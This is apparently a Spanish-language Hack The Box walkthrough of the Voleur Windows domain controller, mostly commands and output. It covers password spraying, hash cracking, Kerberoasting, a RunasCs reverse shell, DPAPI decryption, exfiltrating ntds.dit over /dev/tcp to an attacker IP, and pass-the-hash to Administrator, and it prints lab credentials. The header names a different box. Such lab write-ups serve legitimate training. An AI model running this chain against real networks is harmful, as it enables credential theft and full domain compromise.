Box Info
| Name | Outbound |
|---|---|
| Release Date | 05 Jul, 2025 |
| OS | Windows |
| Rated Difficulty | Medium |
ping -c 3 10.10.11.76PING 10.10.11.76 (10.10.11.76) 56(84) bytes of data.64 bytes from 10.10.11.76: icmp_seq=1 ttl=127 time=131 ms64 bytes from 10.10.11.76: icmp_seq=2 ttl=127 time=131 ms64 bytes from 10.10.11.76: icmp_seq=3 ttl=127 time=130 msMachine Information
As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account:
ryan.naylor / HollowOct31Nytsudo nmap -p- --open --min-rate 5000 -n -vv -Pn 10.10.11.76 -oG allPorts
nmap -sCV -p 53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389,49664,49668,52377,63316,63317,63318,63344 10.10.11.76 -oN targeted# Nmap 7.95 scan initiated Sun Jul 20 13:36:06 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p 53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389,49664,49668,52377,63316,63317,63318,63344 -oN targeted 10.10.11.76Nmap scan report for 10.10.11.76Host is up (0.13s latency).
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-21 01:36:14Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)| 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)|_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing49664/tcp open msrpc Microsoft Windows RPC49668/tcp open msrpc Microsoft Windows RPC52377/tcp open msrpc Microsoft Windows RPC63316/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.063317/tcp open msrpc Microsoft Windows RPC63318/tcp open msrpc Microsoft Windows RPC63344/tcp open msrpc Microsoft Windows RPCService Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:| smb2-time:| date: 2025-07-21T01:37:07|_ start_date: N/A|_clock-skew: 7h59m59s| smb2-security-mode:| 3:1:1:|_ Message signing enabled and requiredecho "10.10.11.76 voleur.htb" | sudo tee -a /etc/hostsnxc smb 10.10.11.76SMB 10.10.11.76 445 10.10.11.76 [*] x64 (name:10.10.11.76) (domain:10.10.11.76) (signing:True) (SMBv1:False) (NTLM:False)Validamos las credenciales que tenemos.
nxc smb 10.10.11.76 -u 'ryan.naylor' -p 'HollowOct31Nyt' --shares
SMB 10.10.11.76 445 10.10.11.76 [*] x64 (name:10.10.11.76) (domain:10.10.11.76) (signing:True) (SMBv1:False) (NTLM:False)SMB 10.10.11.76 445 10.10.11.76 [-] 10.10.11.76\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTEDKrb5.conf
Modificaremos el archivo krb5.conf que se encuentra en la ruta /etc/krb5.conf si no la tienes creala.
[libdefaults] default_realm = VOLEUR.HTB dns_lookup_realm = false dns_lookup_kdc = false ticket_lifetime = 24h renew_lifetime = 7d forwardable = true
[realms] VOLEUR.HTB = { kdc = 10.10.11.76 admin_server = 10.10.11.76 default_domain = voleur.htb }
[domain_realm] .voleur.htb = VOLEUR.HTB voleur.htb = VOLEUR.HTBAun asi nos da problemas al intentar enumerar usuarios con smb.
SMB voleur.htb 445 voleur [-] htb\ryan.naylor:HollowOct31Nyt [Errno Connection error (HTB:88)] [Errno -2] Name or service not known- KRB5CCNAME
Es otra forma
impacket-getTGT 'voleur.htb/ryan.naylor:HollowOct31Nyt' -dc-ip 10.10.11.76Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)Como root ejecutaremos el siguiente comando para poder sincronizar el reloj al dominio.
timedatectl set-ntp offrdate -n voleur.htbAhora si ejecutamos el comando para obtener un ccache y exportarlo como KRB5CCNAME
impacket-getTGT 'voleur.htb/ryan.naylor:HollowOct31Nyt' -dc-ip 10.10.11.76Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ryan.naylor.ccacheexport KRB5CCNAME=ryan.naylor.ccacheAhora podemos validar con smb y ldap
nxc ldap dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k
LDAP dc.voleur.htb 389 DC [*] None (name:DC) (domain:voleur.htb)LDAP dc.voleur.htb 389 DC [+] voleur.htb\ryan.naylor:HollowOct31Nytnxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor:HollowOct31NytUsers Enumeration
Ahora que hemos validado, podemos enumerar usuarios.
nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --rid-brute | grep SidTypeUserGuardamos en un archivo users.
cat users| awk '{print $6, $NF}' | cut -d '\' -f2 | cut -d '(' -f1AdministratorGuestkrbtgtDC$ryan.naylormarie.bryantlacey.millersvc_ldapsvc_backupsvc_iisjeremy.combssvc_winrmPassword Spraying
nxc smb dc.voleur.htb -u users -p 'HollowOct31Nyt' -k --continue-on-successPero no hubo algun usuario con la misma contraseña.
BloodHound
bloodhound-python -d voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k -ns 10.10.11.76 -c All --zip -c AllUsamos bloodhound para ver si teniamos algun atributo como ryan.naylor hacia algun objeto del domain controller pero no encontramos nada.
nxc smb dc.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k --shares
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor:HollowOct31NytSMB dc.voleur.htb 445 dc [*] Enumerated sharesSMB dc.voleur.htb 445 dc Share Permissions RemarkSMB dc.voleur.htb 445 dc ----- ----------- ------SMB dc.voleur.htb 445 dc ADMIN$ Remote AdminSMB dc.voleur.htb 445 dc C$ Default shareSMB dc.voleur.htb 445 dc FinanceSMB dc.voleur.htb 445 dc HRSMB dc.voleur.htb 445 dc IPC$ READ Remote IPCSMB dc.voleur.htb 445 dc IT READSMB dc.voleur.htb 445 dc NETLOGON READ Logon server shareSMB dc.voleur.htb 445 dc SYSVOL READ Logon server share nxc smb dc.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k -M spider_plus{ "IT": { "First-Line Support/Access_Review.xlsx": { "atime_epoch": "2025-01-31 04:09:27", "ctime_epoch": "2025-01-29 04:39:51", "mtime_epoch": "2025-05-29 18:23:36", "size": "16.5 KB" } },nxc smb dc.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k -M spider_plus -o DOWNLOAD_FLAG=True
Crack Hash with Office2John
office2john Access_Review.xlsx > hashjohn hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 AVX 4x / SHA512 128/128 AVX 2x AES])Cost 1 (MS Office version) is 2013 for all loaded hashesCost 2 (iteration count) is 100000 for all loaded hashesWill run 6 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusfootball1 (Access_Review.xlsx)1g 0:00:00:02 DONE (2025-07-21 00:35) 0.3344g/s 264.8p/s 264.8c/s 264.8C/s football1..capricornUse the "--show" option to display all of the cracked passwords reliablySession completed.football1
Tenemos 3 contraseñas de las cuales intentaremos realizar un password spraying attack.
nxc smb dc.voleur.htb -u users -p passw -k --continue-on-successvoleur.htb\svc_iis:N5pXyW1VqM7CZ8voleur.htb\svc_ldap:M1XyC9pW7qT5VnComo ninguno de estos 2 usuarios es parte del grupo remote management, con bloodhound podremos enumerar si alguno tiene algun atributo hacia un objeto del DC.

Para el caso del usuario svc_ldap tenemos que tiene el atributo WriteSPN hacia el objeto svc_winrm y algo a destacar es que este usuario es parte del grupo RESTORE_USERS muy importante ya que en el archivo excel mencionan que el usuario todd.wolfe fue borrado.
python3 targetedKerberoast.py -k --dc-host dc.voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -d voleur.htb
john hash3 -w=/usr/share/wordlists/rockyou.txtUsing default input encoding: UTF-8Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])Will run 6 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusAFireInsidedeOzarctica980219afi (?)1g 0:00:00:03 DONE (2025-07-21 01:12) 0.2680g/s 3075Kp/s 3075Kc/s 3075KC/s AHANACK6978012..AEGIESUse the "--show" option to display all of the cracked passwords reliablySession completed.svc_winrm : AFireInsidedeOzarctica980219afiPara autenticarse tendremos que generar de nuevo un archivo KRB5 para iniciar sesion en winrm.
impacket-getTGT 'voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76KRB5CCNAME=svc_winrm.ccache evil-winrm -i dc.voleur.htb -r voleur.htb
En este punto el usuario svc_winrm no es de mucha utilidad y como anteriormente mencionamos el usuario svc_ldap esta en el grupo de RESTORE_USERS que nos podria ser de utilidad para restaurar la cuenta del usuario todd_wolfe, pero como svc_ldap no es parte de remote_management tendremos que a partir de svc_winrm enviarnos una powershell median RunasCs
.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn powershell.exe -r 10.10.14.18:4444
Con este comando nos filtra y lista aquellos objetos (usuarios) que fueron borrados.
Get-ADObject -Filter {isDeleted -eq $true -and objectClass -eq "user"} -IncludeDeletedObjectsDeleted : TrueDistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htbName : Todd Wolfe DEL:1c6b1deb-c372-4cbb-87b1-15031de169dbObjectClass : userObjectGUID : 1c6b1deb-c372-4cbb-87b1-15031de169dbPara restaurarlo simplemente le pasamos el ObjectGUID
Restore-ADObject -Identity "1c6b1deb-c372-4cbb-87b1-15031de169db"Para verificar si se restauro:
net user /domain
Recordemos que tenemos la contraseña de todd.wolfe que la encontramos en el excel.
bloodhound-python -d voleur.htb -u todd.wolfe -p 'NightT1meP1dg3on14' -k -ns 10.10.11.76 -c All --zip -c All
impacket-getTGT 'voleur.htb/todd.wolfe:NightT1meP1dg3on14' -dc-ip 10.10.11.76export KRB5CCNAME=todd.wolfe.ccacheimpacket-smbclient -k dc.voleur.htb
Con el impacket-smbclient podemos enumerar de manre mas facil los recursos compartidos.
En el recurso compartido de IT hay un directorio de la segunda linea de soporte que es donde se encuentra el usuario todd.wolfe.

Vemos toda la raiz compartida del usuario todd.wolfe.

DPAPI
Descifrar la clave maestra para obtener la clave offline.
La API de protección de datos (DPAPI) es un componente interno del sistema Windows. Permite que diversas aplicaciones almacenen datos confidenciales (p. ej., contraseñas). Los datos se almacenan en el directorio de usuarios y están protegidos por claves maestras específicas del usuario, derivadas de su contraseña. Suelen estar ubicados en:
C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUIDAplicaciones como Google Chrome, Outlook, Internet Explorer y Skype utilizan la API DPAPI. Windows también utiliza esta API para información confidencial, como contraseñas de Wi-Fi, certificados, contraseñas de conexión RDP y mucho más.
A continuación, se muestran las rutas comunes de archivos ocultos que suelen contener datos protegidos por la API DPAPI.
C:\Users\$USER\AppData\Local\Microsoft\Credentials\C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\Nos traemos los archivos
get /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88
get /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3- MasterKeyFile
impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14[MASTERKEYFILE]Version : 2 (2)Guid : 08949382-134f-4c63-b93c-ce52efc0aa88Flags : 0 (0)Policy : 0 (0)MasterKeyLen: 00000088 (136)BackupKeyLen: 00000068 (104)CredHistLen : 00000000 (0)DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83- Credential
impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]LastWritten : 2025-01-29 12:55:19+00:00Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)Target : Domain:target=Jezzas_AccountDescription :Unknown :Username : jeremy.combsUnknown : qT3V9pLXyN7W4mVemos que jeremy.combs ahora esta en el grupo de THIRD-LINE TECHNICIANS

impacket-getTGT 'voleur.htb/jeremy.combs:qT3V9pLXyN7W4m' -dc-ip 10.10.11.76export KRB5CCNAME=jeremy.combs.ccacheimpacket-smbclient -k dc.voleur.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands# use IT# lsdrw-rw-rw- 0 Wed Jan 29 04:10:01 2025 .drw-rw-rw- 0 Mon Jul 21 01:32:26 2025 ..drw-rw-rw- 0 Thu Jan 30 11:11:29 2025 Third-Line Support# cd Third-Line Supportl# lsdrw-rw-rw- 0 Thu Jan 30 11:11:29 2025 .drw-rw-rw- 0 Wed Jan 29 04:10:01 2025 ..-rw-rw-rw- 2602 Thu Jan 30 11:11:29 2025 id_rsa-rw-rw-rw- 186 Thu Jan 30 11:07:35 2025 Note.txt.txt# get id_rsa# get note.txt.txt#chmod 600 id_rsa
cat note.txt.txt
Jeremy,
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.
Please see what you can set up.
Thanks,
AdminTenemos un id_rsa pero no sabemos para que usuario es, para esto podemos usar ssh-keygen para darnos una pista.
ssh-keygen -y -f ./id_rsa
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCoXI8y9RFb+pvJGV6YAzNo9W99Hsk0fOcvrEMc/ij+GpYjOfd1nro/ZpuwyBnLZdcZ/ak7QzXdSJ2IFoXd0s0vtjVJ5L8MyKwTjXXMfHoBAx6mPQwYGL9zVR+LutUyr5fo0mdva/mkLOmjKhs41aisFcwpX0OdtC6ZbFhcpDKvq+BKst3ckFbpM1lrc9ZOHL3CtNE56B1hqoKPOTc+xxy3ro+GZA/JaR5VsgZkCoQL951843OZmMxuft24nAgvlzrwwy4KL273UwDkUCKCc22C+9hWGr+kuSFwqSHV6JHTVPJSZ4dUmEFAvBXNwc11WT4Y743OHJE6q7GFppWNw7wvcow9g1RmX9zii/zQgbTiEC8BAgbI28A+4RcacsSIpFw2D6a8jr+wshxTmhCQ8kztcWV6NIod+Alw/VbcwwMBgqmQC5lMnBI/0hJVWWPhH+V9bXy0qKJe7KA4a52bcBtjrkKU7A/6xjv6tc5MDacneoTQnyAYSJLwMXM84XzQ4us= svc_backup@DCSSH
ssh -i id_rsa svc_backup@voleur.htb -p 2222
Privilege Escalation
NTDS
Previamente ya nos hemos enfrentado con estos archivos en la maquina Blackfield
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/Active Directory$ lsntds.dit ntds.jfmsvc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/Active Directory$kali > nc -nlvp 8888 > ntds.dit
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/Active Directory$ cat ntds.dit > /dev/tcp/10.10.14.18/8888
kali > nc -nlvp 8888 > SYSTEM
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/registry$ cat SYSTEM > /dev/tcp/10.10.14.18/8888impacket-secretsdump -ntds ntds.dit -system SYSTEM localImpacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Searching for pekList, be patient[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40[*] Reading and decrypting hashes from ntds.ditAdministrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::impacket-getTGT 'voleur.htb/Administrator' -hashes ':e656e07c56d831611b577b160b259ad2' -dc-ip 10.10.11.76
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccacheKRB5CCNAME=Administrator.ccache evil-winrm -i dc.voleur.htb -r voleur.htb